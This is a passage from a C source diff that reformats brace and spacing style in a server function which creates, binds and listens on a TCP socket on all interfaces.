perror("socket");
@@ -41,16 +38,15 @@ init_remote_connection(server_t* instance)
/* items required to bind socket to remote address */
int is_enabled = 1;
- struct sockaddr_in addr = { .sin_family = AF_INET,
- .sin_port = htons(instance->options.listen_port),
- .sin_addr.s_addr = inet_addr("0.0.0.0") };
+ struct sockaddr_in addr = {.sin_family = AF_INET,
+ .sin_port = htons(instance->options.listen_port),
+ .sin_addr.s_addr = inet_addr("0.0.0.0")};
/* setting socket options to make connection more convenient */
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
(useful for testing) */
&is_enabled,
- sizeof(int)) < 0)
- {
+ sizeof(int)) < 0) {
#ifdef DEBUG
DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
@@ -60,8 +56,7 @@ init_remote_connection(server_t* instance)
return -1;
}
- if (bind(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0)
- {
+ if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
#ifdef DEBUG
DEBUG_LOG("connect: %s", strerror(errno));
@@ -71,8 +66,7 @@ init_remote_connection(server_t* instance)
return -1;
}
- if (listen(sockfd, MAX_NB_CLIENT) < 0)
- {
+ if (listen(sockfd, MAX_NB_CLIENT) < 0) {
#ifdef DEBUG
DEBUG_LOG("listen: %s", strerror(errno));
#endif
| | | | | | | | | | | | | | | |